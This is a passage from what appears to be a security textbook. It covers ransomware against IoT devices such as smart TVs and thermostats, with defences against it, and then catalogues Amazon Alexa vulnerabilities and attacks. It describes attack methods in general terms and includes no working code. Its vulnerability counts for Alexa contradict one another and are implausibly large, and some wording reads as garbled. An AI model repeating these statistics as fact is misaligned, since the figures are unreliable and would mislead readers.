IoT devices, including imposing strong authentication, securing communi-
cations, and regular software updates. Regularly backing up information, 
enforcing an incident response plan, and implementing a disaster recovery 
strategy can also help lessen the effect of ransomware on IoT devices.

7.4.2 �F eaturing Prominent Ransomware Attacks on IoT Devices

7.4.2.1 � FLocker
FLocker, also known as Frantic Locker, is ransomware that targeted smart TVs in 2016. 
This ransomware was disseminated through third-party app stores, and once set up, it’d 
lock the TV, preventing the user from getting access to it. The ransomware would then 
display a message on the screen, asking for payment for disclosing the TV’s unlock-
ing decryption key. The most recent version of the FLocker malware poses as the US 
Cyber Police or another similar law enforcement agency to deceive the targeted users. 
This attack on Smart TVs was notable because it was one of the first examples of 
ransomware targeting IoT devices. Smart TVs were not considered a potential cyber-
attacks, as they have not been generally used for sensitive activities, such as online 
banking or shopping. But the FLocker case showed that even devices not traditionally 
considered vulnerable to attack could be targeted by cybercriminals [2, 20].

Attacking Methodology: FLocker spreads by exploiting vulnerabilities in the 
TV’s firmware and propagating itself using its built-in Wi-Fi capabilities. The 
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ransomware was able to encrypt the TV’s firmware and demanded payment of 
US$200 worth of iTunes gift cards to restore the TV’s functionality. Software engi-
neer Darren Cauthon has reported a recent incident involving FLocker Ransomware. 
One of his family members’ LG Smart TVs was locked on Christmas day by hackers 
using malware, demanding US$200 in iTunes gift cards as a ransom. According to 
Cauthon, the attack occurred when his wife downloaded an app that promised free 
movies but was malware. The malware known as Frantic Locker or Cyber Police 
Ransomware locked the TV and displayed a ransom notice on the screen [25].

As per the research report of SUBEX, “Smart TV: FLocker Malware,” the file 
hash of the ransomware sample found is “2a66064c4eb25c2234d707ddcaa14bbb” 
[26]. We have checked the file hash by uploading it to VirusTotal to check whether it 
matches any existing anti-virus signatures. The analysis revealed that the file was 
flagged as harmful by 24 security vendors and two sandboxes. The result provided by 
Virus Total is shown in Figure 7.7. Upon reverse-engineering and static analysis of 
the app, the researchers at SUBEX discovered a manifest.xml file. Further examina-
tion revealed that the app had been granted many dangerous permissions, which the 
malware could use to carry out illegal and malicious actions [26]. Table 7.1 provides 
a comprehensive list of the permissions accessed by the app.

According to the report, ransomware can also enable device administration 
through broadcast receivers. The attacker has set up security policies in the metadata, 
allowing them to periodically establish the ability to develop a connection with a 
C&C server and maintain full access to the device, including the ability to turn it off. 
To evade detection, the malware hides its actual code within the resources > assets > 
folder, and decryption occurs when the application is launched. This allows the mal-
ware to evade static analysis and appear as regular source code. The Asset Manager 
and Package Manager are used to access the application’s raw asset files and retrieve 
information about installed applications, respectively, which are used in malicious 
ransomware activities [26].

FIGURE 7.7  Result for file hash search by VirusTotal [27].
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7.4.2.2 � Thermostat Hacking
Thermostat hacking refers to malicious actors’ unauthorized access and manipu-
lation of smart thermostats. Smart thermostats are internet-connected devices that 
allow users to remotely control the temperature in their homes using smartphones 
or computers. These devices have an internet connection and are obviously prone to 
hacking attacks. Hackers can enter an internet-connected thermostat by exploiting 
vulnerabilities within the device’s software or using stolen login credentials. Once 
they’ve got the entry, they can manipulate the temperature settings, inflicting the 
HVAC (heating, air flow, and air conditioning) system to malfunction or even dam-
age the device. A hacker can also use a compromised thermostat as a gateway to 
access other connected devices in the same network. It can also be used for malware 
distribution and phishing attacks. IoT thermostats were the target of a malware vari-
ant created by security experts Andrew Tierney and Ken Munro in 2016, highlight-
ing the devices’ potential vulnerabilities and the possibility of hackers demanding 
ransom payments [20].

7.4.2.3 � Attacking Methodology
The researchers used various techniques to access the thermostat, exploiting vul-
nerabilities within the device’s software or phishing attacks to gain login creden-
tials. Once they acquired access, they raised or decreased the temperature, inflicting 

TABLE 7.1
Permissions Accessed by the App

Permissions Details

android.permission.CAMERA This makes it possible for an app to use a camera 
to take photos and videos, allowing it to save any 
images the camera takes at any time.

android.permission.READ_CONTACTS,
android.permission.WRITE_CONTACTS,
android.permission.

PROCESS_OUTGOING_CALLS.
android.permission.READ_CALL_LOG

It gives access to the user’s contacts, and the malicious 
app can perform read, write, and process the 
outgoing calls and call logs.

android.permission.WRITE_SETTINGS It enables a program to modify system settings 
information. A malicious program may harm system 
settings.

android.permission.ACCESS_COARSE_
LOCATION, android.permission.
ACCESS_FINE_LOCATION,

It allows access to coarse location sources, such as 
network databases, to determine the relative position.

android.permission.RESTART_PACKAGES It gives access to restarting the packages.
android.permission.BLUETOOTH It permits an app to examine the nearby Bluetooth 

device’s settings and establish and accept 
relationships between linked devices.

android.permission.INTERNET This makes it possible for an application to establish 
and use network connections.

android.permission.
SYSTEM_ALERT_WINDOW

It grants permission for an application to display 
system alerts, which can be used to take control of 
the entire screen if the application is malicious.
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discomfort on the users and doubtlessly causing damage to the HVAC device. The 
method for hacking a thermostat entails focusing on the three essential components 
of the tool: the LCD, the Linux operating system, and the SD card. Attackers may use 
these additives’ weaknesses to obtain access to the device and doubtlessly manipu-
late its settings or use it for nefarious purposes. They can also ask for a ransom to 
restore the temperature settings regularly. In a few cases, attackers may also utilize 
the thermostat as a gateway to access various network computers, including safety 
cameras or access control systems [20]. This demonstration proves that no longer 
the handiest thermostats but other smart devices linked to the same Wi-Fi and other 
gadgets connected to the infected machine will be vulnerable to hacking.

7.4.2.4 � Simplocker
In 2014, researchers at Symantec illustrated the competencies of a new form of mal-
ware called “SimpLocker” that focused on Android devices. The ransomware was 
designed to encrypt the infected machine’s documents and demand ransom for the 
decryption key. The Simplocker Ransomware was disseminated through malicious 
websites and third-party app stores. As soon as it is installed, it might scan the device 
for certain kinds of photos, motion pictures, and files and encrypt them using a robust 
encryption algorithm. A ransom message would then be displayed on the device, 
asking for the decryption key in return for the ransom. At times it might spread to 
the android-connected smart devices. The researchers at Symantec also pinned down 
that the malware could bypass Android’s built-in safety mechanisms through a tech-
nique known as a “man-in-the-disk” attack. This method lets the malware intercept 
and modify the files as they are being examined from or written to the device storage. 
The demonstration explained how advanced the malware had emerged and how it 
could cause widespread harm to the compromised device [2].

It is crucial to observe that such attacks are increasing. As more gadgets are linked 
to the internet, it is essential to have the proper security measures to guard those 
devices from malware and ransomware. This may include anti-virus software, strong 
passwords, and regular program enhancements. Additionally, it’s crucial to be aware 
of the risks related to downloading software from third-party app stores and cautious 
while installing IoT devices. These instances highlight the impact ransomware may 
have on IoT devices and the need to take precautions to secure them and protect them 
from attack. It also suggests that these attacks are not only targeted at specific sectors 
but can impact various industries and cause widespread damage.

7.5 � CHALLENGES INVOLVED IN RANSOMWARE DETECTION 
AND ANALYSIS ON IoT DEVICES

In the case of IoT devices, ransomware detection and analysis can be challenging 
because of various factors, such as the continuously evolving nature of ransomware, 
the variety of IoT devices, the lack of IoT-specific threat intelligence, and many 
more. Additionally, ransomware attacks frequently destroy or encrypt critical infor-
mation, making it tough to accumulate facts for evaluation. These challenges are 
further highlighted in Table 7.2 [2, 3].
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TABLE 7.2
Challenges Concerned in Ransomware Detection and Evaluation on IoT Devices

S.No. Challenges Description

1 Diversity of devices Due to the wide variety of factors, software, and hardware 
configurations of IoT devices, it isn’t easy to develop a 
single solution to detect and analyze ransomware on all 
these devices.

2 Limited visibility IoT devices are often hidden behind other devices or 
networks, making monitoring their activity or detecting 
anomalies difficult.

3 Limited security capabilities Many IoT devices have limited built-in security features, 
which can make it easier for attackers to compromise 
them.

4 Lack of security 
standardization

Building and deploying efficient security solutions for 
IoT devices is challenging since they are subject 
to different security requirements than traditional 
computer equipment.

5 Lack of IoT-specific threat 
intelligence

Traditional threat intelligence is often insufficient to 
detect and analyze IoT-specific threats.

6 Difficulty in identifying the 
source of the attack

Due to the complexity of IoT networks and devices, 
locating the origin of a ransomware attack may be 
challenging. This makes assessing the attack’s scope 
and severity and choosing the best course of action 
difficult.

7 Limited resources for IoT 
security

Many organizations need more resources or expertise to 
monitor and protect their IoT devices from ransomware 
attacks effectively. This makes it challenging to detect 
and respond to these attacks on time.

8 Difficulty in containing the 
spread of ransomware

Once a ransomware assault has occurred, preventing 
ransomware from spreading to additional networked 
devices may be challenging. This may result in 
extensive business interruptions and substantial 
financial losses.

9 Inadequate patch management Ensuring that all IoT devices are updated with the most 
recent security updates is challenging since many IoT 
devices need automatic patch management solutions. 
As a result, there is a higher chance that a ransomware 
assault will be successful.

10 Complex network 
infrastructure

IoT networks and devices are linked, making it 
challenging to identify and isolate affected devices, 
extending the assault and making it more difficult to 
contain.

11 Limited recovery options In many cases, there may be limited options for 
recovering from a ransomware attack on IoT devices. 
This can result in significant data loss and make 
restoring normal operations difficult.
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7.6 � TECHNIQUES TO PREVENT RANSOMWARE ATTACKS ON IoT

IoT devices are becoming more and more popular targets for ransomware attacks 
due to their occurrence and regularly weak security. To save you from such attacks, 
putting in force a multi-layered technique consisting of technical and non-technical 
measures is vital [28]. Figure 7.8 illustrates the strategies that may be used to save 
you from ransomware attacks on IoT gadgets.

Network Segmentation: Segmenting the IoT community from the rest of the 
organization’s network can restrict the unfolding ransomware if an attack 
happens. This can also make picking out and isolating compromised devices 
less complicated.

Patch Management: Keeping all IoT gadgets updated with ultra-modern pro-
tection patches can save your recognized vulnerabilities from ransomware 
exploitation.

Secure Tool Configuration: Properly configuring IoT gadgets with strong 
passwords and encryption can help save you from unauthorized access and 
restrict the spreading of malware.

Monitoring and Logging: Implementing robust tracking and logging technol-
ogies can assist in detecting and analyzing ransomware activities, making it 
easier to respond to an attack and reduce damage.

FIGURE 7.8  Techniques to prevent ransomware attacks in IoT.
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Threat Intelligence: Staying informed about the trendy ransomware threats 
and developments can assist groups in expanding effective countermeasures 
and staying ahead of potential attacks.

Employee Awareness and Education: Ensuring that employees are aware of 
the risks related to ransomware and are trained to discover and document 
suspicious activities can prevent a successful attack.

Backup and Disaster Recovery: Backup and disaster recovery may help 
organizations recover from a ransomware attack quickly and with the least 
amount of data loss by preserving essential data frequently and having a 
catastrophe recovery strategy.

Anti-malware Software: Malware, including ransomware, may be found and 
removed from IoT devices using anti-malware software.

Multifactor Authentication: Implementing multifactor authentication may 
provide additional security to IoT devices, fabricating more difficulties for 
attackers to get unauthorized access.

Conducting Regular Vulnerability Assessments will help identify vulner-
abilities and weaknesses that attackers can exploit, including those that can 
be used to deploy ransomware attacks.

By implementing these techniques, companies can assist in preventing ransomware 
attacks on IoT devices and defend their networks and data from these types of threats.

7.7 � DISCUSSION

Ransomware attacks on IoT devices can cause full-size disruptions and financial 
losses to companies. More studies must be done on developing superior detection 
and mitigation techniques for these attacks. This should include using machine learn-
ing algorithms to identify and block malicious site visitors and improving secure 
communication protocols for IoT devices. Additionally, researchers ought to look at 
ways to enhance the security of IoT devices, imposing more robust authentication 
mechanisms and fabricating challenges for attackers to acquire access to the device’s 
firmware and settings. Further studies need to investigate the motivations and pro-
cesses of ransomware attackers to gain more profound expertise in their techniques 
and expand more effective countermeasures. It’s critical to note that stopping a ran-
somware attack is higher than seeking to recover from one, so businesses must be 
proactive in enforcing security features to shield their IoT devices from these threats. 
Additionally, organizations should have a solid incident response strategy in case of 
a ransomware attack.

7.8 � CONCLUSION

Ransomware attacks on IoT devices can trigger considerable disruptions and eco-
nomic losses to businesses. IoT devices are often linked to critical infrastructure, 
which leads to chaos if compromised. The evolution of ransomware suggests that 
attackers are constantly seeking out new approaches to keep away from detection 
and improve their effectiveness. To lessen the risks of IoT ransomware attacks, 
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organizations need to implement security features together with securing their net-
works, maintaining software programs and firmware up to date, enforcing robust 
authentication, monitoring and logging device activities, often backing up records, 
and having an incident reaction plan. Additionally, organizations should train employ-
ees on the latest threats, learn how to prevent them, perform penetration testing, and 
use security solutions specifically designed for IoT devices. Organizations need to be 
proactive in protecting their IoT devices from ransomware attacks to minimize the 
impact of these threats.
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8.1 � INTRODUCTION

Amazon created the intelligent personal assistant Alexa, where users can commu-
nicate with a variety of compatible devices, including smart speaker systems and 
screens, using the system’s ability to respond to voice instructions given in natural 
language. Alexa’s use of sophisticated machine learning (ML) and artificial intel-
ligence algorithms is one of its distinguishing qualities. With the use of this technol-
ogy, Alexa can gradually learn and adjust to the user’s preferences and behaviors, 
providing a more customized and smooth user experience. Technology has advanced 
significantly with the introduction of Amazon’s voice-activated personal assistant 
Alexa and the Echo speaker. It’s conceivable that Alexa will improve and gain even 
more capabilities with the further development of technology, becoming a more sig-
nificant part of the daily lives of billions of people worldwide. However, worries 
regarding potential privacy and security risks have been highlighted as the use of 
voice-controlled assistants for personal use has grown.

Alexa can accomplish various tasks, including but not limited to playing music, 
setting alarms, responding to queries, managing smart home devices, initiating phone 
calls, sending messages, and numerous other functions. However, there are concerns 
about the privacy of personal information and data passed on to the Alexa service and 
potentially to third parties. Amazon has indicated that the device solely captures data 
upon detection of the “wake word,” and that the Echo device solely awaits this par-
ticular phrase when it is triggered.

There are apprehensions about hardware susceptibilities in voice-activated devices, 
which include exposed debug pads on the device that may lead to wiretapping, as 
well as a configuration option that enables the device to boot from an external SD 
card. The Alexa Skills Kit interface offered by Amazon enables developers to design 
voice-activated applications, known as Alexa Skills, for the Alexa service. Usually 
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coded in either JavaScript or Python, these applications can be basic response apps or 
RESTful web services that interface with third-party application programming inter-
faces (APIs). They are usually hosted on an online service, such as Amazon’s AWS 
Lambda service, or an alternative HTTP endpoint. Figure 8.1 explains the architec-
ture of Alexa-enabled devices [1].

As the usage of always-on, voice-enabled devices increases, customers are becom-
ing increasingly worried about their privacy being compromised by hackers. Reports 
have emerged of Amazon and Google constantly listening, which raises concerns 
about the potential for recorded conversations to be exposed to third parties, making 
them vulnerable to attacks and causing concern among cons. Furthermore, Amazon’s 
consideration of giving third-party developers access to user audio recordings has 
raised alarm since it is unclear whether personal information is being protected and 
kept secure [2].

The purpose of the Alexa voice service is to identify spoken instructions and 
transmit them to Alexa-enabled devices. As illustrated in Figure 8.2, it shows the 
interaction between a user and Alexa. Here are the steps involved [2]:

	 1.	The user speaks into an Echo device or other third-party device.
	 2.	The device records the spoken information and transmits it to the Alexa 

Voice Service (AVS) for processing.
	 3.	The AVS converts the speech data into JSON format.
	 4.	The JSON information is forwarded to the Alexa Skill Kit interface.
	 5.	The interface matches the spoken text with a corresponding sample phrase.
	 6.	The JSON data is then sent to the relevant HTTP endpoint where the server 

code runs.
	 7.	The server code can interact with other REST APIs of third-party providers 

to gather the necessary information and execute the requested function.
	 8.	The server then returns JSON output data to the Alexa Web Services.
	 9.	The AVS converts the text into speech data.
	 10.	The speech data is then sent back to the device’s speaker to play Alexa’s 

response for the user.

These steps happen in real time, allowing the user to have a natural and seamless conver-
sation with Alexa. By following this process, Alexa can understand the user’s requests, 
retrieve information, and execute functions to provide a personalized experience.

8.1.1 � Using Machine Learning-Based Tools for Detecting and 
Categorizing Specific Vulnerabilities

Machine learning can be applied in several ways for identifying and preventing vul-
nerabilities at an early phase. It can automate security operations, improve efficiency, 
and help to identify new emerging threats [3]. Some examples are as follows:

	 1.	Anomaly detection: ML models can be used to detect unusual activity 
within systems and networks, which may signify the existence of a vulner-
ability or an active attack.
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FIGURE 8.1  Architecture of Alexa-enabled devices.
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	 2.	Vulnerability scanning: ML can be used to develop vulnerability scanners, 
which would identify and categorize security weaknesses in systems.

	 3.	Intrusion detection: ML-based intrusion detection systems can identify and 
react to malicious activity in real time.

	 4.	Predictive modeling: In this modeling, ML algorithms can be used to ana-
lyze changes and patterns which could be applied to study past attack and 
vulnerability patterns to anticipate future ones.

	 5.	Impersonation detection: By analyzing user behavior and spotting patterns 
of harmful behavior, algorithms based on ML can be used to spot and pre-
vent impersonation assaults.

8.1.2 � Vulnerability

A network or system vulnerability is a flaw or flaws that can be leveraged by an 
attacker to gain unauthorized access to the system, steal sensitive information, or 
inflict harm. These flaws can be found in hardware, software, or even an organiza-
tion’s policies and regulations [4]. Common vulnerabilities include things like out-
dated software or hardware, bad settings, and programming flaws. To preserve the 
safety of their computer systems and defend against online threats, businesses must 
regularly assess and resolve these vulnerabilities.

8.1.2.1 � Types of Vulnerabilities
A system or network may contain a variety of vulnerabilities. The following are 
among the most typical:

	 1.	Flaws in software code: These are known as software vulnerabilities and 
can be exploited by attackers. Illustrations comprise buffer overflow, SQL 
injection, and cross-site scripting (XSS).

	 2.	Improper configuration: These vulnerabilities arise from the incorrect setup 
of systems or networks, such as default or easily guessable passwords, open 
network ports, and disabled security features.

	 3.	Weaknesses in hardware devices: These are known as hardware vulnerabili-
ties and can be exploited by attackers. Examples include firmware vulner-
abilities in IoT devices and hardware backdoors.

FIGURE 8.2  Alexa voice service model [2].
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	 4.	Human behavior-based vulnerabilities: These are known as social engineer-
ing vulnerabilities, which rely on human behavior rather than technical 
weaknesses. Examples include phishing, pretexting, and baiting.

	 5.	Vulnerabilities that exploit physical properties: These are known as physi-
cal vulnerabilities; examples include dumpster diving, shoulder surfing, and 
tailgating.

	 6.	Vulnerabilities in supply chain: These occur in the supply chain of a product 
or service and can be exploited by attackers.

	 7.	Unknown vulnerabilities: These are referred to as zero-day vulnerabilities, 
which are not yet known to the vendor or the public and can be utilized by 
attackers prior to the availability of a patch.

8.1.3 �S ome Basic Terminologies

CVE ID: The term CVE refers to Common Vulnerability and Exposure, which 
serves as a distinct identifier for cybersecurity weaknesses that are publicly 
recognized [5].

CVSS Score: CVSS is a widely used system for scoring vulnerabilities, pro-
viding standardized scores for each vulnerability based on an algorithm 
mentioned in Table 8.1. CVSS uses a specific time frame to validate and fix 
a vulnerability and is also helpful in determining the level of risk associated 
with it. The Severity Assessment System offers a numeric representation 
ranging from 0 to 10 to determine the gravity of an information security vul-
nerability. The CVSS ratings are extensively used by information security 
teams to compare vulnerabilities and prioritize actions to address them, as 
part of their vulnerability management strategy [6].

Figure 8.4 provides the CVSS score for almost all known vulnerabilities 
found in Amazon Alexa over the past 12 years. Between 2009 and 2022, a 
total of 20,877 vulnerabilities were identified in Amazon Alexa. It is evident 
that the maximum vulnerabilities have a CVSS score of 4–5, indicating they 
are mid-level vulnerabilities that can potentially have a significant impact 
on personal data. The weighted average CVSS Score of Amazon Alexa 
Vulnerabilities after the analytical research and comparison from the Mitre 
site is 5.9 in Table 8.1 [5].

FIGURE 8.3  Features employed in the dataset.
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Severity of a vulnerability: It refers to the potential harm that could be caused 
by an exploit of the vulnerability on a system or network [6]. Figure 8.4 
displays three categories of severity of a vulnerability:

	•	 Low severity: Vulnerabilities with a CVSS score range of 0–3 fall under 
the low severity category and have a low impact and minimal effect 
on the system or network. They may enable an attacker to gain limited 
access or information, but the damage or disruption caused is likely to be 
small.

TABLE 8.1
Scoring the Vulnerabilities

State CVSS Score Number of Vulnerabilities Percentage

LOW 0–1 683 3.30
1–2 82 0.40
2–3 1,219 5.80
3–4 1,819 8.70

MID 4–5 5,690 27.30
5–6 3,676 17.60
6–7 3,744 17.90

HIGH 7–8 2,800 13.40
8–9 129 0.60
9–10 1,035 5.00

Total 20,877

Weighted Average CVSS Score: 5.9

FIGURE 8.4  Distribution of all vulnerabilities by CVSS scores.
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	•	 Mid-severity: Vulnerabilities with a CVSS score range of 4–6 are consid-
ered to be of mid-severity and have the potential to cause moderate dam-
age to the system or network. Providing an opportunity for a perpetrator 
to attain partial system control or acquire sensitive data, the potential 
consequences of such an intrusion could be considerable.

	•	 High severity: CVSS score ranges 7–10 are considered to be of high sever-
ity and have the potential to cause significant harm to the system or net-
work. They may enable an attacker to gain unauthorized access or control 
of the system, steal sensitive information, or launch a wide-scale attack.

8.2 � LITERATURE SURVEY

Due to the popularity of Alexa, significant research has been conducted on the 
security and privacy implications. Several important publications in this field have 
highlighted vulnerabilities, potential risks to privacy and security, and proposed 
guidelines to address them are as follows:

The paper by Chung, Iorga, Voas, and Lee (2017) [7] highlights the potential 
for exploitation of Intelligent Virtual Assistants (IVAs) through examples of 
man-in-the-middle and DDoS attacks, as well as malicious or unintentional 
commands. The authors do not conduct any direct testing but instead dem-
onstrate the need for improved security measures for IVAs due to their vul-
nerabilities. To demonstrate the potential hazards, they utilize the instance 
of audio from TV programming, like commercials, engaging with appli-
ances such as Amazon Alexa or Google Home.

In 2018, a study conducted by M. Hussain et al. [8] identified various vulnera-
bilities in the Amazon Alexa platform, which included issues with authenti-
cation and authorization. The study also showcased the practical feasibility 
of these vulnerabilities through proof-of-concept attacks.

According to a study conducted by Lei, Tu, Liu, Li, and Xie in 2018 [9], Home 
Digital Voice Assistants are vulnerable to vocal attacks, which involve an 
attacker using a recorded or synthetic voice to manipulate the device, as 
they lack sufficient protection against such attacks. They proposed a solu-
tion to this problem by adding a sensor to the device, such as the Echo, that 
would detect whether a person was physically present in the room and only 
respond to commands given by the owner. They also suggested creating a 
virtual security button to enable this feature.

A paper titled “Security and Privacy Risks of Voice-Activated Personal Assistant 
Technologies” by N. Clarke et al. in 2018 [10] explored the possible threats 
to security and privacy that could arise from using voice assistants like 
Amazon Alexa. The paper highlighted concerns such as the possibility of 
eavesdropping, unauthorized access to user accounts, and data theft.

Mitev, Miettinen, and Sadeghi (2019) [11] expanded upon the research [9] by 
testing the potential for Alexa to accidentally download skills with mali-
cious intent, due to misinterpreting commands. The skills were classified 
into two groups: “benign skills,” which are typical skills available in the 
Amazon store, and “malicious skills,” which are created to harm users or 
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obtain their information. The research raises concerns about the possibility 
of attackers indirectly compromising an Alexa device through these third-
party skills, which may lack the same level of security as Alexa, despite 
Amazon’s attempts to secure the device.

A security and privacy assessment of Amazon Alexa Voice Service was car-
ried out by A. Bhattacharjee and co-authors [12] in a 2019 publication. The 
study reveals the possibility of a risk due to the employment of unencrypted 
communication protocols and suggests several security suggestions for 
manufacturers and users.

According to Fruhlinger’s 2020 study [13], numerous electronic gadgets are 
classified as IoT devices, including wireless watches, wearable health 
devices, smart home appliances like refrigerators, televisions, and lighting 
fixtures, as well as specialized devices such as Alexa-style digital assistants 
and internet-enabled sensors. These devices are transforming a variety of 
industries, such as factories, healthcare, transportation, distribution cen-
ters, and farms. Recently, there have been a number of articles published 
about IoT device vulnerabilities, with a specific focus on the vulnerabilities 
related to the Amazon Echo device.

The significance of conducting ongoing research and implementing advance-
ments to address the security and privacy issues linked to voice assistants 
is emphasized in these studies, such as Amazon Alexa. The privacy and 
safety of users can be protected, the risks of harmful attacks are reduced, 
and potential weaknesses can be identified.

8.3 � SOFTWARE VULNERABILITIES IN AMAZON ALEXA

Users and businesses that depend on Amazon Alexa may be at serious risk as a result 
of software flaws in the platform. Alexa-enabled devices may have vulnerabilities that 
allow for illegal access, the theft of confidential information, or control of the device 
remotely by intruders. These shortcomings are caused by errors in the devices’ software 
or coding. Such flaws may have serious and widespread repercussions that could affect 
a sizable user base. Individuals as well as organizations must be aware of vulnerabili-
ties. Implementing appropriate security measures, such as secure coding methods, input 
verification, and regular software updates, is crucial to reducing these potential hazards.

8.3.1 � Vulnerabilities Identified in the Amazon Alexa

To identify the Amazon Alexa vulnerabilities that have been exploited most fre-
quently over the past 12 years, cybersecurity researchers examined a database [14]. 
The many vulnerabilities that were recently exploited are shown in Figure 8.5. This 
section will go into great detail about each vulnerability:

	 1.	Code Execution: Alexa has a vulnerability that might allow an attacker to 
run unauthorized programs on the device, get beyond security safeguards, 
and seize access to the device.

	 2.	Memory Corruption: Amazon Alexa may experience memory corruption 
whenever a program or process modifies data stored in the device’s memory. 
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Programming problems like buffer overflows and the use of uninitialized 
memory are frequently to blame for memory corruption. As a result of these 
problems, the customer’s residence or place of business may be vulnerable 
to erratic behavior, security flaws, or crashes, which may jeopardize their 
privacy and security.

	 3.	Denial of Service (DoS): By bombarding Amazon Alexa with a massive vol-
ume of traffic and requests, DoS attacks can adversely damage the device’s 
performance. The gadget may become unreliable or crash since it was not 
intended to manage such a high volume of traffic, making it unavailable to 
users for a while or permanently.

	 4.	Cross-Site Scripting (XXS): XXS attacks can impact the performance of 
Amazon Alexa by exploiting security weaknesses in third-party applica-
tions or websites that interface with the device. By introducing harmful 
scripts into these websites or apps, attackers can compromise the security 
and performance of Amazon Alexa once the device executes the malicious 
code [14].

	 5.	SQL Injection: SQL injection is a type of cyber-attack that involves the 
insertion of malicious code via user input in an SQL statement, allowing 
unauthorized access to a database and potentially leading to the theft or 
manipulation of sensitive information, such as personal data, login creden-
tials, and financial information. Developers can take measures to prevent 
these attacks by using parameterized queries that separate user input from 
SQL code and verifying user input to ensure that it is in the expected format 

FIGURE 8.5  Vulnerabilities identified in Amazon Alexa.
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and does not contain special characters or keywords that could be exploited 
for injection.[14]

	 6.	Buffer Overflow: This vulnerability in Alexa may enable an adversary to 
supply excessive data to the device, surpassing the memory buffer allocated 
for it. As a result, the device may experience an unexpected behavior or a 
system crash, and the attacker may leverage this to execute malicious code 
or escalate their privileges [15].

8.3.2 �E volution and Variations of Vulnerabilities

Figure 8.6 shows change and pattern in the vulnerabilities that have been identified 
and exploited in the past and currently. The evolution of attack patterns can be attrib-
uted to a range of factors, including advances in technology and changes in the tactics 
and techniques used by attackers. Understanding emerging variations in vulnerabili-
ties, organizations can better detect and protect against potential security threats to 
systems and networks associated with specific versions of Amazon Alexa [16].

FIGURE 8.6  CVE feed [16].
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8.3.3 � Vulnerabilities by Type

The security flaws in Amazon Alexa have been found to include DoS, Code Execution, 
SQL Injection, cross-site scripting (XSS), Overflow, and Memory Corruption, among 
others. The vulnerability distribution in Amazon Alexa is shown in Figure 8.7, which 
reveals that between 2017 and 2022, Code Execution vulnerabilities were the most 
found. These flaws in the software, along with others found within, have the capacity 
to jeopardize user security and privacy. As a result, it is critical that Amazon and other 
businesses take preventative action to address and mitigate such vulnerabilities [16].

Figure 8.9 gives a thorough summary of every vulnerability found in Amazon’s 
Alexa software from 1999 to 2022, breaking down the total number of flaws by cat-
egory and the total number of exploits for each vulnerability. The information shows 
the wide variety of flaws that have been found in software over time, emphasizing the 
necessity for ongoing vigilance in detecting and fixing security flaws. This data can 
be used by developers and security experts to pinpoint the most important areas that 
need to be addressed for vulnerability prevention as well as mitigation [16].

8.3.4 � Vulnerabilities by Year

According to the statistics provided, Amazon Alexa had 30,886 vulnerabilities as of 
2022, with 20,142 of the vulnerabilities found in 2021. The distribution of Amazon 
Alexa vulnerabilities over time is represented graphically in Figure 8.9, which shows 
how the number of vulnerabilities has changed over time [16].

FIGURE 8.7  Amazon Alexa vulnerability distribution.
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8.3.5 � Vulnerabilities Trend

Figure 8.10 displays the trend of vulnerabilities discovered in Amazon Alexa up until 
2022, while Figure 8.11 presents the percentage breakdown of each vulnerability 
type. Over the period of 2017 to 2022, a total of 52,925 high-severity vulnerabilities 

FIGURE 8.8  Vulnerabilities by type [16].

FIGURE 8.9  Graph for vulnerability by year.
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were identified. This emphasizes the critical need to address these vulnerabilities in 
order to enhance the security and privacy of Amazon Alexa. This information can 
help stakeholders better understand the trends and patterns of vulnerability discov-
ery in Amazon Alexa, allowing them to allocate resources and prioritize efforts to 
address and mitigate these vulnerabilities in a timely and effective manner [16].

FIGURE 8.10  Vulnerabilities trend.

FIGURE 8.11  Weightage of vulnerabilities.
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8.3.6 � Vulnerabilities in the Years 2022 and 2021

8.3.6.1 � High-Severity Vulnerabilities 2022
Echo devices were found to have two more security vulnerabilities in 2022: Full 
Volume and Break Tag Chain. The Full Volume flaw increases the success rate of 
self-issued commands, which can be exploited by attackers to execute more com-
mands. Break Tag Chain, on the other hand, allows a skill to run for an hour without 
user interaction, leading to convincing social engineering scenarios. The combination 
of these flaws enables attackers to take control of the device and execute self-issued 
commands with a 99% success rate, maintaining control for an extended period.

8.3.6.2 � CVE-2022-33189
8.3.6.2.1 � Analysis Description
The iota All-In-One Security Kit 6.9Z made by Abode Systems, Inc. has a vulnerabil-
ity in its XCMD set Alexa feature. This vulnerability enables an attacker to execute 
arbitrary commands via an OS command injection by sending a specifically crafted 
XML payload [17].

8.4 � MOST PREVALENT ATTACKS ON AMAZON ALEXA

8.4.1 �A ttack on Alexa Skills

An Alexa skill that has been certified may have its code altered in Lambda, enabling 
it to perform malicious actions – gathering crucial information from a user through 
a story or an error message for the purpose of conducting an attack (Figure 8.13).

8.4.1.1 � Vulnerability
Alexa should have responded with a factual response, but she instead makes rude 
comments. Alexa is supposed to provide accurate information that is appropriate 
for the user’s or their children’s age; however, she frequently gives out improper 
or inaccurate information instead. Imagine, for instance, that a young boy named 
Duke asks Alexa for a giraffe fact. The desired response from Alexa is to provide 
relevant information, such as “Giraffes are the tallest mammals on Earth.” However, 
if Alexa responds inappropriately or untruthfully, such “Giraffes can fly,” Duke may 

FIGURE 8.12  CVE-2022-25809 [17].
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be misled and confused. Similar to this, if Alexa gives advice that is unsuitable for 
his age, it may be offensive and even destructive.

8.4.1.2 � Mitigation
One method for increasing the security of the Alexa skill is to replace the Lambda 
hosting backend with Alexa. This indicates that rather than being hosted indepen-
dently on a Lambda server, all the code and logic for the skill will be saved and run 
directly on Alexa’s servers.

Another strategy is to set up an automatic analysis program that continuously 
scans the content of the skill and finds any suspicious updates or changes. The tool 
will prompt the skill to go through recertification, which is a process of re-evaluating 
the talent’s security and functioning before it can be made available to users once 
more, if anything suspect is discovered.

By putting these steps in place, the skill may be better guarded against potential 
flaws and security risks while also ensuring that the material is still secure and suit-
able for consumers.

8.4.2 �A lexa Versus Alexa Attack (AvA)

8.4.2.1 � CVE-2022-25809
On February 24, 2022, an attack known as “Alexa versus Alexa (AvA)” was discov-
ered where unauthorized voice commands could be executed on Amazon Echo Dot 
devices of the third and fourth generations due to inadequate audio output protection. 
This vulnerability could be exploited by malicious actors using a malicious skill or 
pairing the device with a malicious Bluetooth device in proximity. Amazon has rated 
the severity level of this vulnerability as medium [18].

FIGURE 8.13  Non-compliant code of Alexa skill attack.
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8.4.2.2 � Vulnerability

	•	 Line 7, marked as “attributes”: {}, is currently blank and requires attention.
	•	 If a user interrupts Alexa’s speech by saying “wake” and giving a command, 

the Voice Personal Assistant (VPA) will try to carry out the command within 
the skill’s context.

	•	 While the vulnerability may not be significant, attackers could exploit 
design weaknesses.

	•	 It’s uncertain if Lambda can prevent an attack from reaching the backend 
service cloud.

